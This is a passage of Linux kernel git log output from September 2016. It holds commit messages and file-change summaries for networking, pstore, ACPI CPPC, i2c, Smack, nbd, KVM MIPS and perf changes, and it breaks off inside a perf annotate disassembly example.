replace some instances that check for both ETH_P_8021Q and ETH_P_8021AD. Patch based on one originally by Thomas F Herbert. Signed-off-by: Thomas F Herbert Signed-off-by: Eric Garver Acked-by: Pravin B Shelar Signed-off-by: David S. Miller include/linux/if_vlan.h | 33 +++++++++++++++++++++++---------- 1 file changed, 23 insertions(+), 10 deletions(-) commit 8c146bb9d59aa2ac45222171916ece186c4b3943 Author: Thomas F Herbert Date: Wed Sep 7 12:56:57 2016 -0400 openvswitch: 802.1ad uapi changes. openvswitch: Add support for 8021.AD Change the description of the VLAN tpid field. Signed-off-by: Thomas F Herbert Acked-by: Pravin B Shelar Signed-off-by: David S. Miller include/uapi/linux/openvswitch.h | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit d545caca827b65aab557a9e9dcdcf1e5a3823c2d Author: Lorenzo Colitti Date: Thu Sep 8 00:42:25 2016 +0900 net: inet: diag: expose the socket mark to privileged processes. This adds the capability for a process that has CAP_NET_ADMIN on a socket to see the socket mark in socket dumps. Commit a52e95abf772 ("net: diag: allow socket bytecode filters to match socket marks") recently gave privileged processes the ability to filter socket dumps based on mark. This patch is complementary: it ensures that the mark is also passed to userspace in the socket's netlink attributes. It is useful for tools like ss which display information about sockets. Tested: https://android-review.googlesource.com/270210 Signed-off-by: Lorenzo Colitti Signed-off-by: David S. Miller include/linux/inet_diag.h | 4 ++-- include/uapi/linux/inet_diag.h | 1 + net/ipv4/inet_diag.c | 49 ++++++++++++++++++++++++++++-------------- net/ipv4/udp_diag.c | 10 +++++---- net/sctp/sctp_diag.c | 20 +++++++++++------ 5 files changed, 56 insertions(+), 28 deletions(-) commit 74f13c80e210ff5a9e7b13b9853d8a866972f385 Author: Zubair Lutfullah Kakakhel Date: Mon Sep 5 13:07:54 2016 +0100 net: ethernet: xilinx: Enable emaclite for MIPS The MIPS based xilfpga platform uses this driver. Enable it for MIPS Signed-off-by: Zubair Lutfullah Kakakhel Signed-off-by: David S. Miller drivers/net/ethernet/xilinx/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f88baf68ebe5b2efced64725fd98548af9b8f510 Author: Geliang Tang Date: Tue Aug 30 20:24:42 2016 +0800 ramoops: move spin_lock_init after kmalloc error checking If cxt->pstore.buf allocated failed, no need to initialize cxt->pstore.buf_lock. So this patch moves spin_lock_init() after the error checking. Signed-off-by: Geliang Tang Signed-off-by: Kees Cook fs/pstore/ram.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d771fdf94180de2bd811ac90cba75f0f346abf8d Author: Andrew Bresticker Date: Mon Feb 15 09:19:49 2016 +0100 pstore/ram: Use memcpy_fromio() to save old buffer The ramoops buffer may be mapped as either I/O memory or uncached memory. On ARM64, this results in a device-type (strongly-ordered) mapping. Since unnaligned accesses to device-type memory will generate an alignment fault (regardless of whether or not strict alignment checking is enabled), it is not safe to use memcpy(). memcpy_fromio() is guaranteed to only use aligned accesses, so use that instead. Signed-off-by: Andrew Bresticker Signed-off-by: Enric Balletbo Serra Reviewed-by: Puneet Kumar Signed-off-by: Kees Cook Cc: stable@vger.kernel.org fs/pstore/ram_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7e75678d23167c2527e655658a8ef36a36c8b4d9 Author: Furquan Shaikh Date: Mon Feb 15 09:19:48 2016 +0100 pstore/ram: Use memcpy_toio instead of memcpy persistent_ram_update uses vmap / iomap based on whether the buffer is in memory region or reserved region. However, both map it as non-cacheable memory. For armv8 specifically, non-cacheable mapping requests use a memory type that has to be accessed aligned to the request size. memcpy() doesn't guarantee that. Signed-off-by: Furquan Shaikh Signed-off-by: Enric Balletbo Serra Reviewed-by: Aaron Durbin Reviewed-by: Olof Johansson Tested-by: Furquan Shaikh Signed-off-by: Kees Cook Cc: stable@vger.kernel.org fs/pstore/ram_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5bf6d1b92715f224ef6e1c3abca5dd63eeb4915d Author: Mark Salyzyn Date: Thu Sep 1 08:13:46 2016 -0700 pstore/pmsg: drop bounce buffer Removing a bounce buffer copy operation in the pmsg driver path is always better. We also gain in overall performance by not requesting a vmalloc on every write as this can cause precious RT tasks, such as user facing media operation, to stall while memory is being reclaimed. Added a write_buf_user to the pstore functions, a backup platform write_buf_user that uses the small buffer that is part of the instance, and implemented a ramoops write_buf_user that only supports PSTORE_TYPE_PMSG. Signed-off-by: Mark Salyzyn Signed-off-by: Kees Cook fs/pstore/platform.c | 36 +++++++++++++++++++++++++++++++++++ fs/pstore/pmsg.c | 35 ++++++---------------------------- fs/pstore/ram.c | 19 +++++++++++++++++++ fs/pstore/ram_core.c | 47 ++++++++++++++++++++++++++++++++++++++++++++-- include/linux/pstore.h | 11 ++++++++--- include/linux/pstore_ram.h | 7 +++++-- 6 files changed, 119 insertions(+), 36 deletions(-) commit 79d955af711a6e20207783590a2cfddbd649568b Author: Namhyung Kim Date: Thu Jul 28 00:08:26 2016 +0900 pstore/ram: Set pstore flags dynamically The ramoops can be configured to enable each pstore type by setting their size. In that case, it'd be better not to register disabled types in the first place. Cc: Anton Vorontsov Cc: Colin Cross Cc: Kees Cook Cc: Tony Luck Signed-off-by: Namhyung Kim Signed-off-by: Kees Cook fs/pstore/ram.c | 8 +++++++- include/linux/pstore.h | 2 -- 2 files changed, 7 insertions(+), 3 deletions(-) commit c950fd6f201aea649932898206a850f0a7f25603 Author: Namhyung Kim Date: Thu Jul 28 00:08:25 2016 +0900 pstore: Split pstore fragile flags This patch adds new PSTORE_FLAGS for each pstore type so that they can be enabled separately. This is a preparation for ongoing virtio-pstore work to support those types flexibly. The PSTORE_FLAGS_FRAGILE is changed to PSTORE_FLAGS_DMESG to preserve the original behavior. Cc: Anton Vorontsov Cc: Colin Cross Cc: Kees Cook Cc: Tony Luck Cc: "Rafael J. Wysocki" Cc: Len Brown Cc: Matt Fleming Cc: linux-acpi@vger.kernel.org Cc: linux-efi@vger.kernel.org Signed-off-by: Namhyung Kim [kees: retained "FRAGILE" for now to make merges easier] Signed-off-by: Kees Cook drivers/acpi/apei/erst.c | 2 +- drivers/firmware/efi/efi-pstore.c | 2 +- fs/pstore/platform.c | 17 ++++++++++------- fs/pstore/ram.c | 2 ++ include/linux/pstore.h | 8 +++++++- 5 files changed, 21 insertions(+), 10 deletions(-) commit d5a9bf0b38d2ac85c9a693c7fb851f74fd2a2494 Author: Sebastian Andrzej Siewior Date: Thu Sep 8 13:48:06 2016 +0200 pstore/core: drop cmpxchg based updates I have here a FPGA behind PCIe which exports SRAM which I use for pstore. Now it seems that the FPGA no longer supports cmpxchg based updates and writes back 0xff…ff and returns the same. This leads to crash during crash rendering pstore useless. Since I doubt that there is much benefit from using cmpxchg() here, I am dropping this atomic access and use the spinlock based version. Cc: Anton Vorontsov Cc: Colin Cross Cc: Kees Cook Cc: Tony Luck Cc: Rabin Vincent Tested-by: Rabin Vincent Signed-off-by: Sebastian Andrzej Siewior Reviewed-by: Guenter Roeck [kees: remove "_locked" suffix since it's the only option now] Signed-off-by: Kees Cook Cc: stable@vger.kernel.org fs/pstore/ram_core.c | 43 ++----------------------------------------- 1 file changed, 2 insertions(+), 41 deletions(-) commit 4407de74df18ed405cc5998990004c813ccfdbde Author: Sebastian Andrzej Siewior Date: Thu Sep 8 13:48:05 2016 +0200 pstore/ramoops: fixup driver removal A basic rmmod ramoops segfaults. Let's see why. Since commit 34f0ec82e0a9 ("pstore: Correct the max_dump_cnt clearing of ramoops") sets ->max_dump_cnt to zero before looping over ->przs but we didn't use it before that either. And since commit ee1d267423a1 ("pstore: add pstore unregister") we free that memory on rmmod. But even then, we looped until a NULL pointer or ERR. I don't see where it is ensured that the last member is NULL. Let's try this instead: simply error recovery and free. Clean up in error case where resources were allocated. And then, in the free path, rely on ->max_dump_cnt in the free path. Cc: Anton Vorontsov Cc: Colin Cross Cc: Kees Cook Cc: Tony Luck Cc: Namhyung Kim Acked-by: Namhyung Kim Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Kees Cook Cc: stable@vger.kernel.org # 4.4.x- fs/pstore/ram.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 41dd64038970139c562d07ee7ff4e41245611b4a Author: Srinivas Pandruvada Date: Thu Sep 1 13:37:11 2016 -0700 ACPI / CPPC: Add prefix cppc to cpudata structure name Since struct cpudata is defined in a header file, add prefix cppc_ to make it not a generic name. Otherwise it causes compile issue in locally define structure with the same name. Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 4 ++-- drivers/cpufreq/cppc_cpufreq.c | 14 +++++++------- include/acpi/cppc_acpi.h | 4 ++-- 3 files changed, 11 insertions(+), 11 deletions(-) commit a6cbcdd5ab5f242d49f511127f0a601b71be2cc4 Author: Srinivas Pandruvada Date: Thu Sep 1 13:37:10 2016 -0700 ACPI / CPPC: Add support for functional fixed hardware address The CPPC registers can also be accessed via functional fixed hardware addresse(FFH) in X86. Add support by modifying cpc_read and cpc_write to be able to read/write MSRs on x86 platform on per cpu basis. Also with this change, acpi_cppc_processor_probe doesn't bail out if address space id is not equal to PCC or memory address space and FFH is supported on the system. Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki arch/x86/kernel/acpi/Makefile | 1 + arch/x86/kernel/acpi/cppc_msr.c | 58 +++++++++++++++++++++++++++++++ drivers/acpi/cppc_acpi.c | 75 ++++++++++++++++++++++++++++++++++------- 3 files changed, 121 insertions(+), 13 deletions(-) commit 5448f14698b916e5b04112b104433b90247e01c7 Author: Srinivas Pandruvada Date: Thu Sep 1 13:37:09 2016 -0700 ACPI / CPPC: Don't return on CPPC probe failure It is still possible to continue even CPPC data is invalid or missing. Suggested-by: Alexey Klimov Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki drivers/acpi/processor_driver.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 65e958910a0342c2d802dea05eaf0de16c1b872a Author: Srinivas Pandruvada Date: Thu Sep 1 13:37:08 2016 -0700 ACPI / CPPC: Allow build with ACPI_CPU_FREQ_PSS config Some newer x86 platforms have support for both _CPC and _PSS object. So kernel config can have both ACPI_CPU_FREQ_PSS and ACPI_CPPC_LIB. So remove restriction for ACPI_CPPC_LIB to build only when ACPI_CPU_FREQ_PSS is not defined. Also for legacy systems with only _PSS, we shouldn't bail out if acpi_cppc_processor_probe() fails, if ACPI_CPU_FREQ_PSS is also defined. Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki drivers/acpi/Kconfig | 1 - drivers/acpi/processor_driver.c | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) commit 0b1c7716fd871eaa6cb4a9a1df5396302411255a Author: Masahiro Yamada Date: Thu Sep 1 20:46:30 2016 +0900 i2c: uniphier-f: set the adapter to master mode when probing Currently, the adapter is set to the master mode at the first use. Since then, it is kept in the slave mode, so unexpected glitch signals on the I2C lines may cause the adapter into insane state. Setting it to the master mode along with initialization solves the problem. Signed-off-by: Masahiro Yamada Reported-by: Akio Noda Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-uniphier-f.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 405188e86a4acb732f94f6d7a00b7fbb89cf5309 Author: Masahiro Yamada Date: Thu Sep 1 20:46:29 2016 +0900 i2c: uniphier-f: avoid WARN_ON() of clk_disable() in failure path If clk_prepare_enable() fails, clk_disable_unprepare() is called in the failure path, where the enable_count is still zero, so it hits WARN_ON(core->enable_count == 0) in the clk_core_disable(). To fix this, make the clock setting more linear in the probe function so that it can exploit "goto err" in case of error. Signed-off-by: Masahiro Yamada Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-uniphier-f.c | 73 ++++++++++++++++--------------------- 1 file changed, 32 insertions(+), 41 deletions(-) commit 4c91307ce9387519836e17482906ef0f698ea7d9 Author: Masahiro Yamada Date: Thu Sep 1 20:46:28 2016 +0900 i2c: uniphier: avoid WARN_ON() of clk_disable() in failure path If clk_prepare_enable() fails, clk_disable_unprepare() is called in the failure path, where the enable_count is still zero, so it hits WARN_ON(core->enable_count == 0) in the clk_core_disable(). To fix this, make the clock setting more linear in the probe function so that it can exploit "goto err" in case of error. Signed-off-by: Masahiro Yamada Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-uniphier.c | 73 +++++++++++++++++---------------------- 1 file changed, 31 insertions(+), 42 deletions(-) commit fbf8090b723d4df3cfe18c9491a8bc21ec15a5c0 Author: Jon Hunter Date: Tue Sep 6 10:50:45 2016 +0100 i2c: tegra: Fix assignment of boolean variables Fix the following warnings reported by coccinelle for the Tegra I2C driver. drivers/i2c/busses/i2c-tegra.c:513:2-23: WARNING: Assignment of bool to 0/1 drivers/i2c/busses/i2c-tegra.c:539:3-24: WARNING: Assignment of bool to 0/1 Reported-by: Wolfram Sang Signed-off-by: Jon Hunter Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 77821b4678f93b0b45870c04b7c06c364ed090de Author: Shardar Shariff Md Date: Wed Aug 31 18:58:44 2016 +0530 i2c: tegra: proper handling of error cases To summarize the issue observed in error cases: SW Flow: For i2c message transfer, packet header and data payload is posted and then required error/packet completion interrupts are enabled later. HW flow: HW process the packet just after packet header is posted, if ARB lost/NACK error occurs (SW will not handle immediately when error happens as error interrupts are not enabled at this point). HW assumes error is acknowledged and clears current data in FIFO, But SW here posts the remaining data payload which still stays in FIFO as stale data (data without packet header). Now once the interrupts are enabled, SW handles ARB lost/NACK error by clearing the ARB lost/NACK interrupt. Now HW assumes that SW attended the error and will parse/process stale data (data without packet header) present in FIFO which causes invalid NACK errors. Fix: Enable the error interrupts before posting the packet into FIFO which make sure HW to not clear the fifo. Also disable the packet mode before acknowledging errors (ARB lost/NACK error) to not process any stale data. As error interrupts are enabled before posting the packet header use spinlock to avoid preempting. Signed-off-by: Shardar Shariff Md Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 29 +++++++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) commit 2bc445e2253f963412083c3eb1fc92a276086389 Author: Shardar Shariff Md Date: Wed Aug 31 18:58:43 2016 +0530 i2c: tegra: use atomic poll function during configuration Use readl_poll_timeout_atomic() function as *wait_for_config_load() function can be called from interrupt context. Signed-off-by: Shardar Shariff Md Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 89120d66fce9b6df4b9300fab373676648994cb8 Author: Shardar Shariff Md Date: Wed Aug 31 18:58:42 2016 +0530 i2c: tegra: add separate function for config_load programing Define separate function for configuration load register handling to make it use by different functions later. Signed-off-by: Shardar Shariff Md Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 41 ++++++++++++++++++++++++++--------------- 1 file changed, 26 insertions(+), 15 deletions(-) commit 2148c01ccea9203a153eadadf068c1be5a935495 Author: Shardar Shariff Md Date: Wed Aug 31 18:58:41 2016 +0530 i2c: tegra: If fifo flush fails return error During i2c controller initialization, when fifo flush fails return error instead of returning the error during exit. Signed-off-by: Shardar Shariff Md Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 2 ++ 1 file changed, 2 insertions(+) commit 685143a1598b36227250f6c0a90ec234218f58ff Author: Shardar Shariff Md Date: Wed Aug 31 18:58:40 2016 +0530 i2c: tegra: use readl_poll_timeout after config_load reg programmed After CONFIG_LOAD register is programmed instead of explicitly waiting for timeout, use readl_poll_timeout() to check for register value to get updated or wait till timeout. Signed-off-by: Shardar Shariff Md Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) commit 17f80487f653dfcc6cc3a8b64891442dc4182f62 Author: Geert Uytterhoeven Date: Wed Aug 31 11:35:13 2016 +0200 i2c: shmobile: Use ARCH_SHMOBILE instead of SUPERH "i2c-sh_mobile" is used on sh7343, sh7366, sh7722, sh7723, and sh7724 only. As all of the above select ARCH_SHMOBILE, restrict its driver dependencies from SUPERH to ARCH_SHMOBILE. Signed-off-by: Geert Uytterhoeven Reviewed-by: Simon Horman Signed-off-by: Wolfram Sang drivers/i2c/busses/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c60b906673eebb4f65840fa9dc204401caf276ea Author: Casey Schaufler Date: Tue Aug 30 10:31:39 2016 -0700 Smack: Signal delivery as an append operation Under a strict subject/object security policy delivering a signal or delivering network IPC could be considered either a write or an append operation. The original choice to make both write operations leads to an issue where IPC delivery is desired under policy, but delivery of signals is not. This patch provides the option of making signal delivery an append operation, allowing Smack rules that deny signal delivery while allowing IPC. This was requested for Tizen. Signed-off-by: Casey Schaufler security/smack/Kconfig | 12 ++++++++++++ security/smack/smack.h | 10 ++++++++++ security/smack/smack_lsm.c | 14 +++++++------- 3 files changed, 29 insertions(+), 7 deletions(-) commit 575f9c43e709ab5008047eb5c68b99fe04592400 Merge: 0f76d25 35db57bb Author: David S. Miller Date: Thu Sep 8 13:09:41 2016 -0700 Merge branch 'master' of git://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec-next Steffen Klassert says: ==================== ipsec-next 2016-09-08 1) Constify the xfrm_replay structures. From Julia Lawall 2) Protect xfrm state hash tables with rcu, lookups can be done now without acquiring xfrm_state_lock. From Florian Westphal. 3) Protect xfrm policy hash tables with rcu, lookups can be done now without acquiring xfrm_policy_lock. From Florian Westphal. 4) We don't need to have a garbage collector list per namespace anymore, so use a global one instead. From Florian Westphal. ==================== Signed-off-by: David S. Miller commit 0eadf37afc2500e1162c9040ec26a705b9af8d47 Author: Josef Bacik Date: Thu Sep 8 12:33:40 2016 -0700 nbd: allow block mq to deal with timeouts Instead of rolling our own timer, just utilize the blk mq req timeout and do the disconnect if any of our commands timeout. Signed-off-by: Josef Bacik Signed-off-by: Jens Axboe drivers/block/nbd.c | 51 ++++++++++++++------------------------------------- 1 file changed, 14 insertions(+), 37 deletions(-) commit 9b4a6ba9185ac1c398f2db69c491989452ce7018 Author: Josef Bacik Date: Thu Sep 8 12:33:39 2016 -0700 nbd: use flags instead of bool In preparation for some future changes, change a few of the state bools over to normal bits to set/clear properly. Signed-off-by: Josef Bacik Signed-off-by: Jens Axboe drivers/block/nbd.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit c261189862c6f65117eb3b1748622a08ef49c262 Author: Josef Bacik Date: Thu Sep 8 12:33:38 2016 -0700 nbd: don't shutdown sock with irq's disabled We hit a warning when shutting down the nbd connection because we have irq's disabled. We don't really need to do the shutdown under the lock, just clear the nbd->sock. So do the shutdown outside of the irq. This gets rid of the warning. Signed-off-by: Josef Bacik Signed-off-by: Jens Axboe drivers/block/nbd.c | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) commit fd8383fd88a2fd842a9431df5ed353bd7129eecc Author: Josef Bacik Date: Thu Sep 8 12:33:37 2016 -0700 nbd: convert to blkmq This moves NBD over to using blkmq, which allows us to get rid of the NBD wide queue lock and the async submit kthread. We will start with 1 hw queue for now, but I plan to add multiple tcp connection support in the future and we'll fix how we set the hwqueue's. Signed-off-by: Josef Bacik Signed-off-by: Jens Axboe drivers/block/nbd.c | 337 ++++++++++++++++++++-------------------------------- 1 file changed, 129 insertions(+), 208 deletions(-) commit a063c1e120625a88bd63f0dc2534a62a58426e39 Merge: 67615c5 e4abe2b Author: Stephen Boyd Date: Thu Sep 8 12:57:10 2016 -0700 Merge branch 'clk-fixes' into clk-next * clk-fixes: clk: sunxi-ng: Fix wrong reset register offsets clk: sunxi-ng: nk: Make ccu_nk_find_best static clk: sunxi-ng: Fix inverted test condition in ccu_helper_wait_for_lock clk: sunxi: Fix return value check in sun8i_a23_mbus_setup() clk: sunxi: pll2: Fix return value check in sun4i_pll2_setup() commit 7398a66f10fc81403009120760b129f1e4ec7e52 Author: Axel Haslam Date: Thu Sep 8 18:48:43 2016 +0200 greybus: gbphy: fix compile error with CONFIG_PM_RUNTIME disabled gb_phy runtime functions use struct gbphy_device *gbphy_dev, and not struct device. When CONFIG_PM_RUNTIME is not enabled a compile error will show. Fix this by passing struct gbphy_device * as parameter Testing Done: compile with CONFIG_PM_RUNTIME disabled Signed-off-by: Axel Haslam Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbphy.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d5888477d31c64dba9264fbb33cfa9b066f071d0 Author: James Hogan Date: Fri Aug 19 15:09:47 2016 +0100 KVM: MIPS: Emulate MMIO via TLB miss for EVA MIPS Enhanced Virtual Addressing (EVA) allows the virtual memory segments to be rearranged such that the KSeg0/KSeg1 segments are accessible TLB mapped to user mode, which would trigger a TLB Miss exception (due to lack of TLB mappings) instead of an Address Error exception. Update the TLB Miss handling similar to Address Error handling for guest MMIO emulation. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org arch/mips/kvm/trap_emul.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit f6f7017192ad62669dc8aa4cb33e5f5a0ecd2d81 Author: James Hogan Date: Mon Aug 1 09:07:52 2016 +0100 KVM: MIPS: Override HVA error values for EVA MIPS Enhanced Virtual Addressing (EVA) allows the user mode and kernel mode address spaces to overlap, breaking the assumption that PAGE_OFFSET is an appropriate KVM HVA error value, since PAGE_OFFSET may be as low as zero. Fix this in the same way that s390 does in commit bf640876e21f ("KVM: s390: Make KVM_HVA_ERR_BAD usable on s390"), by overriding KVM_HVA_ERR_[RO_]BAD and kvm_is_error_hva() in asm/kvm_host.h. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org arch/mips/include/asm/kvm_host.h | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 25b8592e912f085ce2ff736a2927584ddeab238c Author: Ravi Bangoria Date: Wed Aug 31 13:33:11 2016 +0530 perf powerpc: Fix build-test failure 'make -C tools/perf build-test' is failing with below log for poewrpc. In file included from /tmp/tmp.3eEwmGlYaF/perf-4.8.0-rc4/tools/perf/perf.h:15:0, from util/cpumap.h:8, from util/env.c:1: /tmp/tmp.3eEwmGlYaF/perf-4.8.0-rc4/tools/perf/perf-sys.h:23:56: fatal error: ../../arch/powerpc/include/uapi/asm/unistd.h: No such file or directory compilation terminated. I bisected it and found it's failing from commit ad430729ae00 ("Remove: kernel unistd*h files from perf's MANIFEST, not used"). Header file '../../arch/powerpc/include/uapi/asm/unistd.h' is included only for powerpc in tools/perf/perf-sys.h. By looking closly at commit history, I found little weird thing: Commit f2d9cae9ea9e ("perf powerpc: Use uapi/unistd.h to fix build error") replaced 'asm/unistd.h' with 'uapi/asm/unistd.h' Commit d2709c7ce4c5 ("perf: Make perf build for x86 with UAPI disintegration applied") removes all arch specific 'uapi/asm/unistd.h' for all archs and adds generic . Commit f0b9abfb0446 ("Merge branch 'linus' into perf/core") again includes 'uapi/asm/unistd.h' for powerpc. Don't know how exactly this happened as this change is not part of commit also. Signed-off-by: Ravi Bangoria Cc: Alexander Shishkin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1472630591-5089-1-git-send-email-ravi.bangoria@linux.vnet.ibm.com Fixes: ad430729ae00 ("Remove: kernel unistd*h files from perf's MANIFEST, not used") Signed-off-by: Arnaldo Carvalho de Melo tools/perf/perf-sys.h | 1 - 1 file changed, 1 deletion(-) commit 7e3fcffe955440101493cd8f32f75840ddf87b6f Author: Mark Rutland Date: Thu Sep 8 11:21:52 2016 +0100 perf pmu: Support alternative sysfs cpumask The perf tools can read a cpumask file for a PMU, describing a subset of CPUs which that PMU covers. So far this has only been used to cater for uncore PMUs, which in practice happen to only have a single CPU described in the mask. Until recently, the perf tools only correctly handled cpumask containing a single CPU, and only when monitoring in system-wide mode. For example, prior to commit 00e727bb389359c8 ("perf stat: Balance opening and reading events"), a mask with more than a single CPU could cause perf stat to hang. When a CPU PMU covers a subset of CPUs, but lacks a cpumask, perf record will fail to open events (on the cores the PMU does not support), and gives up. For systems with heterogeneous CPUs such as ARM big.LITTLE systems, this presents a problem. We have a PMU for each microarchitecture (e.g. a big PMU and a little PMU), and would like to expose a cpumask for each (so as to allow perf record and other tools to do the right thing). However, doing so kernel-side will cause old perf binaries to not function (e.g. hitting the issue solved by 00e727bb389359c8), and thus commits the cardinal sin of breaking (existing) userspace. To address this chicken-and-egg problem, this patch adds support got a new file, cpus, which is largely identical to the existing cpumask file. A kernel can expose this file, knowing that new perf binaries will correctly support it, while old perf binaries will not look for it (and thus will not be broken). Signed-off-by: Mark Rutland Cc: Alexander Shishkin Cc: Jiri Olsa Cc: Mark Rutland Cc: Peter Zijlstra Cc: Will Deacon Link: http://lkml.kernel.org/r/1473330112-28528-8-git-send-email-mark.rutland@arm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/pmu.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 9f21b815be863218192f42f9f5bf78b75f8738e0 Author: Mark Rutland Date: Thu Sep 8 11:21:51 2016 +0100 perf evlist: Only open events on CPUs an evsel permits In systems with heterogeneous CPU PMUs, it's possible for each evsel to cover a distinct set of CPUs, and hence the cpu_map associated with each evsel may have a distinct idx<->id mapping. Any of these may be distinct from the evlist's cpu map. Events can be tied to the same fd so long as they use the same per-cpu ringbuffer (i.e. so long as they are on the same CPU). To acquire the correct FDs, we must compare the Linux logical IDs rather than the evsel or evlist indices. This path adds logic to perf_evlist__mmap_per_evsel to handle this, translating IDs as required. As PMUs may cover a subset of CPUs from the evlist, we skip the CPUs a PMU cannot handle. Without this patch, perf record may try to mmap erroneous FDs on heterogeneous systems, and will bail out early rather than running the workload. Signed-off-by: Mark Rutland Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Mark Rutland Cc: Peter Zijlstra Cc: Will Deacon Link: http://lkml.kernel.org/r/1473330112-28528-7-git-send-email-mark.rutland@arm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/evlist.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 70fbe0574558e934f93bde26e4949c8c206bae43 Author: Peter Zijlstra Date: Mon Sep 5 16:08:12 2016 -0300 perf annotate: Add branch stack / basic block I wanted to know the hottest path through a function and figured the branch-stack (LBR) information should be able to help out with that. The below uses the branch-stack to create basic blocks and generate statistics from them. from to branch_i * ----> * | | block v * ----> * from to branch_i+1 The blocks are broken down into non-overlapping ranges, while tracking if the start of each range is an entry point and/or the end of a range is a branch. Each block iterates all ranges it covers (while splitting where required to exactly match the block) and increments the 'coverage' count. For the range including the branch we increment the taken counter, as well as the pred counter if flags.predicted. Using these number we can find if an instruction: - had coverage; given by: br->coverage / br->sym->max_coverage This metric ensures each symbol has a 100% spot, which reflects the observation that each symbol must have a most covered/hottest block. - is a branch target: br->is_target && br->start == add - for targets, how much of a branch's coverages comes from it: target->entry / branch->coverage - is a branch: br->is_branch && br->end == addr - for branches, how often it was taken: br->taken / br->coverage after all, all execution that didn't take the branch would have incremented the coverage and continued onward to a later branch. - for branches, how often it was predicted: br->pred / br->taken The coverage percentage is used to color the address and asm sections; for low (<1%) coverage we use NORMAL (uncolored), indicating that these instructions are not 'important'. For high coverage (>75%) we color the address RED. For each branch, we add an asm comment after the instruction with information on how often it was taken and predicted. Output looks like (sans color, which does loose a lot of the information :/) $ perf record --branch-filter u,any -e cycles:p ./branches 27 $ perf annotate branches Percent | Source code & Disassembly of branches for cycles:pu (217 samples) --------------------------------------------------------------------------------- : branches(): 0.00 : 40057a: push %rbp 0.00 : 40057b: mov %rsp,%rbp 0.00 : 40057e: sub $0x20,%rsp 0.00 : 400582: mov %rdi,-0x18(%rbp) 0.00 : 400586: mov %rsi,-0x20(%rbp) 0.00 : 40058a: mov -0x18(%rbp),%rax 0.00 : 40058e: mov %rax,-0x10(%rbp) 0.00 : 400592: movq $0x0,-0x8(%rbp) 0.00 : 40059a: jmpq 400656 1.84 : 40059f: mov -0x10(%rbp),%rax # +100.00% 3.23 : 4005a3: and $0x1,%eax 1.84 : 4005a6: test %rax,%rax 0.00 : 4005a9: je 4005bf # -54.50% (p:42.00%) 0.46 : 4005ab: mov 0x200bbe(%rip),%rax # 601170 12.90 : 4005b2: add $0x1,%rax 2.30 : 4005b6: mov %rax,0x200bb3(%rip) # 601170 0.46 : 4005bd: jmp 4005d1 # -100.00% (p:100.00%) 0.92 : 4005bf: mov 0x200baa(%rip),%rax # 601170 # +49.54% 13.82 : 4005c6: sub $0x1,%rax 0.46 : 4005ca: mov %rax,0x200b9f(%rip) # 601170 2.30 : 4005d1: mov -0x10(%rbp),%rax # +50.46% 0.46 : 4005d5: mov %rax,%rdi 0.46 : 4005d8: callq 400526 # -100.00% (p:100.00%) 0.00 : 4005dd: mov %rax,-0x10(%rbp) # +100.00% 0.92 : 4005e1: mov -0x18(%rbp),%rax 0.00 : 4005e5: and $0x1,%eax 0.00 : 4005e8: test %rax,%rax 0.00 : 4005eb: je 4005ff # -100.00% (p:100.00%) 0.00 : 4005ed: mov 0x200b7c(%rip),%rax # 601170 0.00 : 4005f4: shr $0x2,%rax 0.00 : 4005f8: mov %rax,0x200b71(%rip) # 601170 0.00 : 4005ff: mov -0x10(%rbp),%rax # +100.00% 7.37 : 400603: and $0x1,%eax 3.69 : 400606: test %rax,%rax 0.00 : 400609: jne 400612 # -59.25% 